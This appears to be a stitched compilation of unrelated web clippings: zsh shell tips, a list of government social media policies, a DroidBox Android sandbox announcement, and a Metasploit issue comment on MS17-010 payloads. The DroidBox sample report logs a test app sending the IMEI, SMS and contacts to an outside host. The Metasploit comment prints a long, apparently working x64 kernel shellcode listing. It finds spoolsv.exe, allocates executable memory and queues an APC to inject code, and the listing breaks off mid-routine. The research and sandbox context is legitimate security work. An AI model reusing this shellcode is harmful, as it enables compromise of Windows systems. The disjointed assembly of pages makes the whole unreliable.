    print ${$( date )[2,4]} # Print words two to four of output of ’date’:
    array=(~/.zshenv ~/.zshrc ~/.zlogout)
    filelst[$(($#filelst+1))]=$x # append (push) to an array
    filelst+=($x)           # append (push) to an array (better)
    files=(${(f)"$(egrepcmd1l)"} ) # push a sentence to an array (where egrepcmd1l is a global alias
    % print ${array:t}
    .zshenv .zshrc .zlogout
    
    
    
[/code]

* * *
[code]

    # variable substitution
    somevar="bu&^*ck"                  # variable with mucky characters
    print ${somevar//[^[:alnum:]]/_}   # replace all non-alphanumerics with _
    echo ${file##*/}                   # echo just the file name
    echo ${texfilepath%/*.*}           # echo just the path
    echo ${file%.*}                    # strip file extension
    echo $file:r                       # strip file extension
    echo ${0##*[!0-9]}                 # strip all but trailing digit from filename $0
    echo ${(M)0%%<->}                  # strip all but trailing digit from filename 
    file=${1/\//C:\/}                  # substitute / with c:/ ANYWHERE in string
    file=${1/#\//C:\/}                 # substitute / with c:/ Beginning of string
    file=${1/%\//C:\/}                 # substitute / with c:/ End of string
                                       # note # & % are using to match beginning and end
    foo=$'bar\n\nbaz\n'
    print ${foo//$'\n'}                # strip out any carriage returns (some systems use \r) *N*
    print ${foo%%$'\n'}                # strip out a trailing carriage return *N*
    
    
    
    
[/code]

* * *
[code]

    # decisions
    # cd to different drive depending on Windows login name
    drive=$([[ "$LOGNAME" != davidr ]] && echo '/o' || echo '/c') # trad way
    cd ${drive}/inetpub/wwwdev/www.some.co.uk/
    drive=${${${LOGNAME:#davidr}:+/o}:-/c}                        # zsh way
    cd ${drive}/inetpub/wwwdev/www.some.co.uk/
    
    # chaining two modifications 
    # .om[1] gives newest file
    # cyg is a zsh function doing a path conversion
    gvim.exe $(echo /c/aax/*(.om[1]))(+cyg) &  ### nested
    gvim.exe /c/aax/*(.om[1]+cyg) &            #### both operations
    
    
    # variable with variable name
    eval "$1=$PWD"
    
    
    
[/code]

* * *
[code]

    dirs -p                         # display recent directories *N*
    cp file ~1                      # where 1 is first entry in pushd stack
    #zsh completion
    startfilename<tab>           # will complete matching files anywhere in $PATH
    startfilename<C-D>           # will list matching files anywhere in $PATH
    vi main*~*temp*<tab>         # avoid file with temp in the name
    cd /u/lo/li<tab>  completes to /usr/local/lib
    #directory sizes
    du -sk *(/)
    # Inline aliases, zsh -g aliases can be anywhere in command line
    alias -g G='| grep -'
    alias -g L='| less'
    #this reduces a command like
    ls | grep foo | less
    #to 
    ls G foo L
    # 
    alias -g R=' > /c/aaa/tee.txt '           # redirect
    alias -g T=' | tee /c/aaa/tee.txt '       # tee
    alias -g F=' | fmt -'                     # format
    alias -g W=' | wc -l'                     # wc
    #
    
    
[/code]

* * *
[code]

    # cd by .. or ... or ... or mv file ..../.
    alias '..'='cd ..'
    alias -g ...='../..'
    alias -g ....='../../..'
    alias -g .....='../../../..'
    
    
[/code]

* * *
[code]

    # suffix based alias
    alias -s jpg='/c/program\ files/IrfanView/i_view32.exe'
    now just type the image name to launch irfanview
    
    
[/code]

* * *
[code]

    #magic equals
    vim =some_file                            # edits file anywhere in $PATH
    ls =some_file                             # lists file anywhere in $PATH
    #magic ** (recursion)
    vim **/some_file                          # edits file under under current dir
    # modifying more than one file (multios)
    # writes ls results to file1 & file2 appends to filec
    ls > file1 > file2 >> file3 | wc          # multi-io
    myscript >&1 >output.txt                  # log a script output
    #Redirection to file as well as send on to pipe:
    make install > /tmp/logfile | grep -i error
    
    
    
[/code]

* * *
[code]

    function g{0..9} { gmark $0 $* }          # declaring multiple functions
    
    
[/code]

* * *
[code]

    # zmv "programmable rename"
    autoload -U zmv
    # Replace spaces in filenames with a underline
    zmv '* *' '$f:gs/ /_'
    zmv '(* *)' '${1// /}'
    zmv -Q "(**/)(* *)(D)" "\$1\${2// /_}"
    # Change the suffix from *.sh to *.pl
    zmv -W '*.sh' '*.pl'
    # lowercase/uppercase all files/directories
    $ zmv '(*)' '${(L)1}' # lowercase
    $ zmv '(*)' '${(U)1}' # uppercase
    
    
    
[/code]

* * *
[code]

    #Wonderful zftp (write ftp scripts as though shell)
    
    # init (could be in .zshenv etc)
    autoload -U zfinit  
    zfinit  
    zfparams www.someweb.co.uk myuserid mypassword
    zfopen 
    zfcd tips
    zfls -l zshtips.html
    zfput zshtips.html
    zfls -l zshtips.html
    
    # replace every occurence of a file (zsh and bash)
    for f in */include/dbcommon.php; do;cp dbcommon.php $f; done
    
    # using vared
    vared -p "choose 1-3 : " -c ans
    case $ans in
     1|a) sdba $key;;
     2|f) sdbf $key;;
     3|i) sdbi $key;;
     *) echo "wrong answer $ans\n" ;;
    esac
    
    # the powerful select
    PROMPT3="Choose File : "
    select f in $(ls **/*.tex |egrep -i "${param}[^/]*.tex")
    do
     if [[ "$REPLY" = q ]]
     then
        break
     elif [[ -n "$f" ]]; then
        gvim $f
     fi
    done
    # editing a variable (You must try this)
    vared PATH
    
    
    
[/code]

* * *
[code]

    bindkey -v # vi mode line editting
    bindkey -M viins '^O' copy-prev-shell-word
    bindkey '^L' push-line # push current command into a buffer, allows you to do another command then returns to previous command
    
    
[/code]

* * *
[code]

    # Prompt at end of command line
    RPROMPT="[%t]" (display the time)
    # colo(u)red prompt
    fg_light_red=$'%{\e[1;31m%}'
    PS3="$fg_light_red Select file : "
    # print fred in blue color
    print '\e[1;34m fred'
    # color module
    autoload colors ; colors
    print "$bg[cyan]$fg[blue]Welcome to man zsh-lovers" >> $TTY
    
    
[/code]

* * *
[code]

    curl -u userid:password -d status=" updating twitter with from curl " http://twitter.com/statuses/update.xml
    
    
[/code]

* * *
[code]

     
    Sources newsgroup gmane.comp.shells.zsh.user
    
    Everything here is **Simple** zsh visit the above newsgroup for the **Sick** stuff
    
    
[/code]

* * *
[code]

    Upload this page (use yy@" on following line, to invoke upload zftp script)!!
    :!zshtipsftp
    
[/code]

# Social Media Subcouncil / Web 2 0 Governance Policies and Best Practices

**Created:**| _6/28/2009 7:26:23 PM_  
---|---  
**Updated:**| _6/28/2009 7:26:37 PM_  
**Author:**| __  
**Tags:**| _policies privacy_  
  

home > library > policies & best practices

Please use this space to share any official governance policies or best
practices \(with your agency approval\). You may upload or provide links to
relevant documents.

Use of Web 2.0 and Social Media resources by public agencies poses unique and
new challenges for administrators and policy makers in terms of governance,
yet we can still also learn from leading edge companies using social media in
the private sector.

A wide range of issues, including the effects on employee productivity, legal
risks and considerations, information loss \(leaks\), accountability, document
retention, confidentiality, appropriate commentary and even manners and
decorum come into play in a new ways when using social media and interactive
web technologies. When a government agency decides to embrace these
technologies, some set of policies defining governance, or rules by which to
blog, wiki, tweet or put forth a public presence in Facebook will be
beneficial and necessary.

At this time, we are collecting existing policies and best practices from
leading edge governments and corporations. The social media subcouncil has not
yet determined its scope of work in this area.

**Policies and Best Practices****Source**| **Version**| **Notes**| **External
Link**\(if applicable\)  
---|---|---|---  
WebContent.gov | n/a | Main Resource for Social Media Guidance for the Federal Gov't | http://www.usa.gov/webcontent/technology/other\_tech.shtml  
GovGab |  | Blog Policies | http://blog.usa.gov/roller/govgab/page/policies  
City of Seatlle | n/a | City of Seattle blogging policy | http://www.seattle.gov/pan/BloggingPolicy.htm   
  
The Blog Council | n/a | "Disclosure Best Practices Toolkit" is a draft series of checklists to help companies, their employees, and their agencies learn the appropriate and transparent ways to interact with blogs, bloggers, and the people who interact with them. | http://blogcouncil.org/disclosure/content/   
  
Environmental Protection Agency | March 2009 | Guidelines for EPA's blog, Greenversations, at http://blog.epa.gov : roles and responsibilities, writing guidelines, comment policy, etc. | http://www.scribd.com/doc/13232289/Blogging-At-EPA-Guidelines  
Collaboration Project | n/a | The Collaboration Project is hosting a discussion on several critical issues facing widespread government adoption of Web 2.0 tools in the new administration. | http://collaborationproject.org/display/content/Key+Policy+Issues+Discussion  
  
Fairfax County, VA |  | Fairfax County's comments policy | _http://www.fairfaxcounty.gov/opa/getfairfax/facebook-comments-policy.htm_  
State Department |  | Dipnote Blogging Policy | http://blogs.state.gov/index.php/info/legal/  
Air Force |  | "Rules of Engagement" for Blogging | http://www.globalnerdy.com/2008/12/30/the-air-forces-rules-of-engagement-for-blogging/  
Commonwealth of Massachusetts | n/a | Comment Policy for Massachusetts' Public Health Blog. Other blogs \(www.mass.gov/blogs\) have very similar policies | http://publichealth.blog.state.ma.us/comment-policy.html  
Commonwealth of Massachusetts | n/a | Executive Office of Health and Human Services' Privacy Policy that includes information on privacy as related to the Public Health Blog | http://www.mass.gov/?pageID=eohhs2utilities&L=1&sid=Eeohhs2&U=policy\_privacy  
Electronic Frontier Foundation |  | Legal Guide for Bloggers | http://www.eff.org/issues/bloggers/legal  
IBM |  | Social Computing Practices | http://www.ibm.com/blogs/zz/en/guidelines.html  
Sun Microsystems |  | Guidelines on Public Discourse | http://www.sun.com/communities/guidelines.jsp  
Intel |  | Social Media Guidelines | http://www.intel.com/sites/sitewide/en\_US/social-media.htm  
Media Law Resource Center |  | Compilation of Blog-related Lawsuits | http://www.medialaw.org/bloggerlawsuits  
BBC |  | Personal Use of Social Networking and other 3rd Party Websites | http://www.bbc.co.uk/guidelines/editorialguidelines/advice/personalweb/index.shtml  
WSDOT |  | Blog Comment Policy | http://www.wsdot.wa.gov/Policy/blog.htm  
Yahoo |  | Internal Blog Policy | Social Media Policies  
US Coast Guard |  | Social Media | Memo/NR  
Military Health System |  | MHS Comment Policy | http://health.mil/commentPolicy.aspx  
Dept of Energy |  | Internet Usage Policy | http://cio.energy.gov/cybersecurity/appropriate\_use.htm  
Dept. of Commerce |  | Internet Usage Policy | http://ocio.os.doc.gov/ITPolicyandPrograms/Policy\_\_\_Standards/DEV01\_0026  
85  
Air Force |  | New Media and Web 2.0 Guidance | http://www.af.mil/shared/media/document/AFD-090406-036.pdf  
Navy |  | Web 2.0 Utilizing New Web Tools | http://www.doncio.navy.mil/PolicyView.aspx?ID=789  
Altimeter Group |  | Social Media Policies \(Private sector\) | http://wiki.altimetergroup.com/page/Social+Media+Policies?t=anon  
Roanoke County, VA |  | Roanoke County Social Media Policy | https://sites.google.com/site/munigov20/good-reading-and-resources/RoanokeCountySocialMediaPolicy-Final.pdf?attredirects=0

# DroidBox: alpha release | The Honeynet Project
**Created:**| _7/15/2011 2:18:24 PM_  
---|---  
**Updated:**| _7/15/2011 2:18:24 PM_  
**Author:**| __  
**Tags:**| _sandboxing android_  
  

## DroidBox: alpha release

Thu, 07/14/2011 - 18:29 — patrik.lantz

The Android application sandbox is now ready for an alpha release. Details on
how to get DroidBox running are available at the project webpage.

At the moment, the following actions are logged during runtime:

  * File read and write operations 
  * Cryptography API activity 
  * Opened network connections 
  * Outgoing network traffic 
  * Information leaks through the following sinks: network, file, sms 
  * Attempts to send SMS 
  * Phone calls that have been made 

An analysis output looks like the following sample report:

\_\_\_\_ \_\_ \_\_\_\_  
/\ \_\`\ \[alpha\] \_\_ /\ \/\ \_\`\  
\ \ \/\ \ \_ \_\_ \_\_\_ /\\\_\ \\\_\ \ \ \L\ \ \_\_\_ \_\_ \_  
\ \ \ \ \/\\\`'\_\_\ \_\_\`\/\ \ /'\_\` \ \ \_ <' / \_\_\`\/\ \/'\  
\ \ \\\_\ \ \ \/\ \L\ \ \ \/\ \L\ \ \ \L\ \ \L\ \/> </  
\ \\\_\_\_\_/\ \\\_\ \\\_\_\_\_/\ \\\_\ \\\_\_\_,\_\ \\\_\_\_\_/
\\\_\_\_\_//\\\_/\\\_\  
\/\_\_\_/ \/\_/\/\_\_\_/ \/\_/\/\_\_,\_ /\/\_\_\_/ \/\_\_\_/ \//\/\_/  
^C \[\*\] Collected 36 sandbox logs

\[File activities\]  
\-----------------

\[Read operations\]  
\-----------------  
\[1310660567.27\] /data/data/droidbox.tests/files/myfilename.txt Fd: 28  
\[1310660567.29\] /data/data/droidbox.tests/files/myfilename.txt Fd: 28  
\[1310660567.29\] /data/data/droidbox.tests/files/myfilename.txt Fd: 28  
\[1310660567.3\] /data/data/droidbox.tests/files/myfilename.txt Fd: 28  
\[1310660567.3\] /data/data/droidbox.tests/files/output.txt?A? Fd: 28  
\[1310660567.31\] /data/data/droidbox.tests/files/output.txt Fd: 28  
\[1310660567.32\] /data/data/droidbox.tests/files/output.txt?A? Fd: 28  
\[1310660567.41\] /data/data/droidbox.tests/files/output.txt Fd: 28

\[Write operations\]  
\------------------  
\[1310660567.23\] /data/data/droidbox.tests/files/myfilename.txt Fd: 28  
\[1310660567.25\] /data/data/droidbox.tests/files/output.txt?A? Fd: 28  
\[1310660567.26\] /data/data/droidbox.tests/files/output.txt Fd: 28

\[Crypto API activities\]  
\-----------------------  
\[1310660567.47\] Key:\{0, 42, 2, 54, 4, 45, 6, 7, 65, 9, 54, 11, 12, 13, 60,
15\} Algorithm: AES  
\[1310660567.48\] Operation:\{encryption\} Algorithm: AES  
Data:\{000000000000000\}

\[1310660567.48\] Key:\{0, 42, 2, 54, 4, 45, 6, 7, 65, 9, 54, 11, 12, 13, 60,
15\} Algorithm: AES  
\[1310660567.49\] Operation:\{decryption\} Algorithm: AES  
Data:\{000000000000000\}

\[1310660567.5\] Key:\{0, 42, 2, 54, 4, 45, 6, 8\} Algorithm: DES  
\[1310660567.5\] Operation:\{encryption\} Algorithm: DES  
Data:\{000000000000000\}

\[1310660567.51\] Key:\{0, 42, 2, 54, 4, 45, 6, 8\} Algorithm: DES  
\[1310660567.51\] Operation:\{decryption\} Algorithm: DES  
Data:\{000000000000000\}

\[Network activity\]  
\------------------

\[Opened connections\]  
\--------------------  
\[1310660567.58\] Destination: code.google.com Port: 80  
\[1310660570.07\] Destination: pjlantz.com Port: 80  
\[1310660573.26\] Destination: pjlantz.com Port: 80

\[Outgoing traffic\]  
\------------------  
\[1310660567.64\] Destination: code.google.com Port: 80  
Data: GET /p/droidbox/ HTTP/1.1

\[Intent receivers\]  
\------------------

\[Permissions bypassed\]  
\----------------------

\[Information leakage\]  
\---------------------  
\[1310660567.26\] Sink: File  
File descriptor: 28  
Tag: TAINT\_CONTACTS

\[1310660567.29\] Sink: File  
File descriptor: 28  
Tag: TAINT\_FILECONTENT

\[1310660567.3\] Sink: File  
File descriptor: 28  
Tag: TAINT\_FILECONTENT

\[1310660567.31\] Sink: File  
File descriptor: 28  
Tag: TAINT\_CONTACTS

\[1310660567.41\] Sink: File  
File descriptor: 28  
Tag: TAINT\_CONTACTS

\[1310660570.2\] Sink: Network  
Destination: pjlantz.com  
Port: 80  
Tag: TAINT\_IMEI  
Data: GET /imei.php?imei=c02c705e98588f724ca046ac59cafece65501e36

\[1310660571.16\] Sink: Network  
Destination: pjlantz.com  
Port: 80  
Tag: TAINT\_SMS  
Data: GET /phone.php?phone=0735445281

\[1310660572.2\] Sink: Network  
Destination: pjlantz.com  
Port: 80  
Tag: TAINT\_SMS  
Data: GET /msg.php?msg=Tjenare+hur+e+det

\[1310660573.39\] Sink: Network  
Destination: pjlantz.com  
Port: 80  
Tag: TAINT\_CONTACTS, TAINT\_FILECONTENT  
Data: GET /file.php?file=Write+a+line&Peppe

\[1310660574.39\] Sink: Network  
Destination: pjlantz.com  
Port: 80  
Tag: TAINT\_PACKAGE  
Data: GET
/app.php?installed=com.android.soundrecorder:com.android.gesture.builder:com.android.alarmclock:com.android.launcher:com.android.gallery:android:com.android.settings:com.android.providers.contacts:com.android.providers.applications:com.android.googlesearch:com.android.contacts:com.android.inputmethod.latin:com.android.phone:com.android.calculator2:droidbox.tests:com.android.providers.drm:com.android.htmlviewer:com.example.android.softkeyboard:com.android.term:com.android.providers.calendar:com.android.bluetooth:com.android.packageinstaller:com.android.development:com.android.calendar:com.android.browser:com.android.providers.telephony:com.android.music:com.android.providers.subscribedfeeds:com.svox.pico:com.android.camera:com.android.email:com.example.android.livecubes:com.android.providers.userdictionary:com.android.spare\_parts:android.tts:com.android.providers.settings:com.android.mms:co

\[1310660575.47\] Sink: SMS  
Number: 123456789  
Tag: TAINT\_IMEI  
Data: dbd4e36bd5295531800c9596724361c4

\[Sent SMS\]  
\----------  
\[1310660575.45\] Number: 0735445281  
Message: Sending sms...

\[Phone calls\]  
\-------------  
\[1310660575.48\] Number: 123456789  
\[1310660575.83\] Number: 123456789

The development continues with static analysis of Android packages. More
specifically, permissions, activities and registered Intent receivers are to
be parsed from the Manifest file to coordinate with the dynamic analysis. Some
of the features planned to be implemented are:

  * Log incoming network traffic
  * Dump content of file operations
  * Detect apps with Intent receivers \(example: apps monitoring incoming SMS\)
  * Log possible permissions that have been bypassed

The last milestone period is soon starting and the coding in this phase
includes generating API flow graphs to better understand in what order the
logged actions are executed. Additionally, generating treemaps on the sample
behavior might ease the malware classification but will initially function as
a proof-of-concept implementation.

# Module request: EternalPulsar · Issue \#8269 · rapid7/metasploit-framework

**Created:**| _5/7/2017 10:59:34 PM_  
---|---  
**Updated:**| _5/7/2017 11:01:09 PM_  
**Author:**| __  
**Tags:**| _shellcode_  
  

  

Just wanted to give a quick update. Writing, and debugging, ring0 code is
understandably a slow process. Once this process is complete, @jennamagius and
I will work on DoublePulsar and EternalBlue exploit modules.I am 80-90%
complete on the shellcode journey. It's important to completely reverse these
payloads to understand what they do.Still
incomplete:https://github.com/RiskSense-
Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asmA lot of this
payload is based on stuff skape theorized very early on. In fact, when I try
to find more info, it's either skape theories or windows driver forum posts
\(already pretty obscure\) where obvious malware authors pose the questions.
Of course, questions by obvious malware authors aren't answered in any
meaningful ways. My favorite RE book, Practical Malware Analysis, brushes on
this topic for a whopping 2 paragraphs. In the CIA vault7 wikileaks, I found
similar information, but it is also just one paragraph of theory summarizing
skape and doesn't go the full distance.What I've found from the NSA shellcode
is the genius you would expect. Their payloads aren't optimized but they are
clever. Queuing an APC requires hardcoded offsets, as most things in Windows
user API and Kernel API are exposed through opaque pointers \(i.e. handles\).
So the NSA has numerous hardcoded offsets, but also dynamically finds things
like ETHREAD.ThreadListEntry \(https://github.com/RiskSense-
Ops/MS17-010/blob/master/payloads/x64/src/kernel/calc\_thread\_delta.asm\).I'm
working on making sure all of the shellcode has such great ideas included, as
well as the shortcuts I have researched to make it much smaller. When
complete, the code will be shrunk from anywhere to 15-20% of the EQGRP size.
Given what we saw with ExtraBacon and other analysis of the Windows payloads,
this reduction in size isn't complete surprising.  
;  
; Windows x86/x64 Multi-Arch Kernel Ring 0 to Ring 3 via Queued APC Shellcode  
;  
; Author: Sean Dillon <sean.dillon@risksense.com> \(@zerosum0x0\)  
; Copyright: \(c\) 2017 RiskSense, Inc.  
; Release: 04 May 2017  
; License: Apache 2.0  
; Build: nasm ./kernel.asm  
; Acknowledgements: Stephen Fewer, skape, Equation Group, Shadow Brokers  
;  
; Description:  
; Injects an APC into a specified process. Once in userland, a new thread is  
; created to host the main payload. Add whatever userland payload you want to  
; the end, prepended with two bytes that equal the little endian size of your  
; payload. The userland payload should detect arch if multi-arch is enabled.  
; This payload is convenient, smaller or null-free payloads can be crafted  
; using this as a base template.  
;  
; References:  
; https://github.com/Risksense-Ops/MS17-010  
; https://msdn.microsoft.com/en-us/library/9z1stfyw.aspx  
; https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-
ring.html  
; https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-
injection-technique/  
; http://apexesnsyscalls.blogspot.com/2011/09/using-apcs-to-inject-your-
dll.html  
;  
BITS 64  
ORG 0  
section .text  
global payload\_start  
; options which have set values  
%define PROCESS\_HASH SPOOLSV\_EXE\_HASH ; the process to queue APC into  
%define MAX\_PID 0x10000  
%define WINDOWS\_BUILD 7601 ; offsets appear relatively stable  
; options which can be enabled  
%define USE\_X86 ; x86 payload  
%define USE\_X64 ; x64 payload  
%define STATIC\_ETHREAD\_DELTA ; use a pre-calculated ThreadListEntry  
; %define CLEAR\_DIRECTION\_FLAG ; if cld should be run  
; %define SYSCALL\_OVERWRITE ; to run at process IRQL in syscall  
; %define ERROR\_CHECKS ; lessen chance of BSOD, but bigger size  
; hashes for export directory lookups  
LSASS\_EXE\_HASH equ 0x60795e4a ; hash\("lsass.exe"\)  
SPOOLSV\_EXE\_HASH equ 0xdd1f77bf ; hash\("spoolsv.exe"\)  
CREATETHREAD\_HASH equ 0x221b4546 ; hash\("CreateThread"\)  
PSGETCURRENTPROCESS\_HASH equ 0x6211725c ; hash\("PsGetCurrentProcess"\)  
PSLOOKUPPROCESSBYPROCESSID\_HASH equ 0x4ba25566 ;
hash\("PsLookupProcessByProcessId"\)  
PSGETPROCESSIMAGEFILENAME\_HASH equ 0x2d726fa3 ;
hash\("PsGetProcessImageFileName"\)  
PSGETTHREADTEB\_HASH equ 0x9d364026 ; hash\("PsGetThreadTeb"\)  
KEGETCURRENTPROCESS\_HASH equ 0x5e91685c ; hash\("KeGetCurrentProcess"\)  
KEGETCURRENTTHREAD\_HASH equ 0x30a3ba7a ; hash\("KeGetCurrentThread"\)  
KEINITIALIZEAPC\_HASH equ 0x4b55ceac ; hash\("KeInitializeApc"\)  
KEINSERTQUEUEAPC\_HASH equ 0x9e093818 ; hash\("KeInsertQueueApc"\)  
KESTACKATTACHPROCESS\_HASH equ 0xdc1124e5 ; hash\("KeStackAttachProcess"\)  
KEUNSTACKDETACHPROCESS\_HASH equ 0x7db3b722 ; hash\("KeUnstackDetachProcess"\)  
ZWALLOCATEVIRTUALMEMORY\_HASH equ 0xee0aca4b ;
hash\("ZwAllocateVirtualMemory"\)  
EXALLOCATEPOOL\_HASH equ 0x9150ac26 ; hash\("ExAllocatePool"\)  
OBFDEREFERENCEOBJECT\_HASH equ 0x764dc812 ; hash\("ObfDereferenceObject"\)  
KERNEL32\_DLL\_HASH equ 0x92af16da ; hash\_U\(L"kernel32.dll", len\)  
; offsets for opaque structures  
%if WINDOWS\_BUILD == 7601  
EPROCESS\_THREADLISTHEAD\_BLINK\_OFFSET equ 0x308  
ETHREAD\_ALERTABLE\_OFFSET equ 0x4c  
TEB\_ACTIVATIONCONTEXTSTACKPOINTER\_OFFSET equ 0x2c8 ;
ActivationContextStackPointer : Ptr64 \_ACTIVATION\_CONTEXT\_STACK  
ETHREAD\_THREADLISTENTRY\_OFFSET equ 0x420 ; only used if
STATIC\_ETHREAD\_DELTA defined  
%endif  
; now the shellcode begins  
payload\_start:  
%ifdef SYSCALL\_OVERWRITE  
syscall\_overwrite:  
%endif  
x64\_kernel\_start:  
; Some "globals", which should not be clobbered, these are also ABI non-
volatile  
; ----------------------------------------------  
; r15 = ntoskrnl.exe base address \(DOS MZ header\)  
; r14 = &x64\_kernel\_start  
; r13 = PKAPC\_STATE  
; rbx = PID/PEPROCESS  
; r12 = ThreadListEntry offset, later ETHREAD that is alertable  
; rbp = current rsp  
%ifdef CLEAR\_DIRECTION\_FLAG  
cld  
%endif  
; we will restore non-volatile registers  
push rsi ; save clobbered registers  
push r15 ; r15 = ntoskernl.exe  
push r14 ; r14 = &x64\_kernel\_start  
push r13 ; r13 = PKAPC\_STATE  
push r12 ; r12 = ETHREAD/offsets  
push rbx ; rbx = PID/EPROCESS  
push rbp  
mov rbp, rsp ; we'll use the base pointer  
and sp, 0xFFF0 ; align stack to ABI boundary  
sub rsp, 0x20 ; reserve shadow stack  
lea r14, \[rel x64\_kernel\_start\] ; for use in pointers  
; this stub loads ntoskrnl.exe into r15  
x64\_find\_nt\_idt:  
mov r15, qword \[gs:0x38\] ; get IdtBase of KPCR  
mov r15, qword \[r15 + 0x4\] ; get ISR address  
shr r15, 0xc ; strip to page size  
shl r15, 0xc  
\_x64\_find\_nt\_idt\_walk\_page:  
sub r15, 0x1000 ; walk along page size  
mov rsi, qword \[r15\]  
cmp si, 0x5a4d ; 'MZ' header  
jne \_x64\_find\_nt\_idt\_walk\_page  
; dynamically finds the offset to ETHREAD.ThreadListEntry  
find\_threadlistentry\_offset:  
%ifdef STATIC\_ETHREAD\_DELTA  
mov r12, ETHREAD\_THREADLISTENTRY\_OFFSET  
%else  
mov r11d, PSGETCURRENTPROCESS\_HASH  
call x64\_block\_api\_direct  
mov rsi, rax  
add rsi, EPROCESS\_THREADLISTHEAD\_BLINK\_OFFSET ; PEPROCESS->ThreadListHead  
mov r11d, KEGETCURRENTTHREAD\_HASH  
call x64\_block\_api\_direct  
mov rcx, rsi ; save ThreadListHead  
\_find\_threadlistentry\_offset\_compare\_threads:  
cmp rax, rsi  
ja \_find\_threadlistentry\_offset\_walk\_threads  
lea rdx, \[rax + 0x500\]  
cmp rdx, rsi  
jb \_find\_threadlistentry\_offset\_walk\_threads  
sub rsi, rax  
jmp \_find\_threadlistentry\_offset\_calc\_thread\_exit  
\_find\_threadlistentry\_offset\_walk\_threads:  
mov rsi, qword \[rsi\] ; move up the list entries  
cmp rsi, rcx ; make sure we exit this loop at some point  
jne \_find\_threadlistentry\_offset\_compare\_threads  
\_find\_threadlistentry\_offset\_calc\_thread\_exit:  
mov r12, rsi  
%endif  
; now we need to find the EPROCESS to inject into  
x64\_find\_process\_name:  
xor ebx, ebx  
\_x64\_find\_process\_name\_loop\_pid:  
mov ecx, ebx  
add ecx, 0x4  
%ifdef MAX\_PID  
cmp ecx, MAX\_PID  
jge x64\_kernel\_exit  
%endif  
mov rdx, r14 ; PEPROCESS\*  
mov ebx, ecx ; save current PID  
; PsLookupProcessById\(dwPID, &x64\_kernel\_start\);  
mov r11d, PSLOOKUPPROCESSBYPROCESSID\_HASH  
call x64\_block\_api\_direct  
test eax, eax ; see if STATUS\_SUCCESS  
jnz \_x64\_find\_process\_name\_loop\_pid  
mov rcx, \[r14\] ; rcx = \*PEPROCESS  
; PsGetProcessImageFileName\(\*\(&x64\_kernel\_start\)\);  
mov r11d, PSGETPROCESSIMAGEFILENAME\_HASH  
call x64\_block\_api\_direct  
mov rsi, rax  
call x64\_calc\_hash  
; mov rcx, r13 ; restore dwPID  
cmp r9d, PROCESS\_HASH  
jne \_x64\_find\_process\_name\_loop\_pid  
x64\_attach\_process:  
mov rbx, \[r14\] ; r13 = EPROCESS  
mov rdx, r14 ; rdx = \(PRKAPC\_STATE\)&x64\_kernel\_start  
mov rcx, \[r14\] ; rcx = PEPROCESS  
; KeStackAttachProcess\(PEPROCESS, &x64\_kernel\_start\);  
mov r11d, KESTACKATTACHPROCESS\_HASH  
call x64\_block\_api\_direct  
mov r13, \[r14\] ; r13 = PRKAPC\_STATE  
; ZwAllocateVirtualMemory  
push 0x40 ; PAGE\_EXECUTE\_READWRITE  
push 0x1000 ; AllocationType  
lea r9, \[r14 + 8\] ; r9 = pRegionSize  
mov qword \[r9\], 0x1000 ; \*pRegionSize = 0x1000  
xor r8, r8 ; ZeroBits = 0  
mov rdx, r14 ; rdx = BaseAddress  
xor ecx, ecx  
mov qword \[rdx\], rcx ; set \*BaseAddress = NULL  
not rcx ; rcx = 0xffffffffffffffff  
; ZwAllocateVirtualMemory\(-1, &baseAddr, 0, 0x1000, 0x1000, 0x40\);  
mov r11d, ZWALLOCATEVIRTUALMEMORY\_HASH  
sub rsp, 0x20 ; we have to reserve new shadow stack  
call x64\_block\_api\_direct  
%ifdef ERROR\_CHECKS  
test eax, eax  
jnz x64\_kernel\_exit  
%endif  
; rep movs kernel -> userland  
x64\_memcpy\_userland\_payload:  
mov rdi, \[r14\]  
lea rsi, \[rel userland\_start\]  
xor ecx, ecx  
add cx, word \[rel userland\_payload\_size\] ; size of payload userland  
add cx, userland\_payload - userland\_start ; size of our userland  
rep movsb  
; Teb loop to find an alertable thread  
x64\_find\_alertable\_thread:  
mov rsi, rbx ; rsi = EPROCESS  
add rsi, EPROCESS\_THREADLISTHEAD\_BLINK\_OFFSET ; rsi =
EPROCESS.ThreadListHead.Blink  
mov rcx, rsi ; save the head pointer  
\_x64\_find\_alertable\_thread\_loop:  
mov rdx, \[rcx\]  
%ifdef ERROR\_CHECKS  
cmp rsi, rcx  
je x64\_kernel\_exit  
%endif  
sub rdx, r12 ; sub offset  
push rcx  
push rdx  
mov rcx, rdx  
sub rsp, 0x20  
mov r11d, PSGETTHREADTEB\_HASH  
call x64\_block\_api\_direct  
add rsp, 0x20  
pop rdx  
pop rcx  
test rax, rax ; check if TEB is NULL  
je \_x64\_find\_alertable\_thread\_skip\_next  
mov rax, qword \[rax + TEB\_ACTIVATIONCONTEXTSTACKPOINTER\_OFFSET\]  
test rax, rax  
je \_x64\_find\_alertable\_thread\_skip\_next  
add rdx, ETHREAD\_ALERTABLE\_OFFSET  
mov eax, dword \[rdx\]  
bt eax, 0x5  
jb \_x64\_find\_alertable\_thread\_found  
\_x64\_find\_alertable\_thread\_skip\_next:  
mov rcx, \[rcx\]  
jmp \_x64\_find\_alertable\_thread\_loop  
\_x64\_find\_alertable\_thread\_found:  
sub rdx, ETHREAD\_ALERTABLE\_OFFSET  
mov r12, rdx  
x64\_create\_apc:  
; ExAllocatePool\(POOL\_TYPE.NonPagedPool, 0x90\);  
xor edx, edx  
add dl, 0x90  
xor ecx, ecx  
mov r11d, EXALLOCATEPOOL\_HASH  
call x64\_block\_api\_direct  
;mov r12, rax  
;mov r11d, KEGETCURRENTTHREAD\_HASH  
;call x64\_block\_api\_direct  
; KeInitializeApc\(rcx = apc,  
; rdx = pThread,  
; r8 = NULL = OriginalApcEnvironment,  
; r9 = KernelApcRoutine,  
; NULL,  
; InjectionShellCode,  
; 1 /\* UserMode \*/,  
; NULL /\* Context \*/\);  
mov rcx, rax ; pool APC  
lea r9, \[rcx + 0x80\] ; dummy kernel APC function  
mov byte \[r9\], 0xc3 ; ret  
mov rdx, r12 ; pThread;  
mov r12, rax ; save APC  
xor r8, r8 ; OriginalApcEnvironment = NULL  
push r8 ; Context = NULL  
push 0x1 ; UserMode  
mov rax, \[r14\]  
push rax ; userland shellcode  
push r8 ; NULL  
sub rsp, 0x20  
mov r11d, KEINITIALIZEAPC\_HASH  
call x64\_block\_api\_direct  
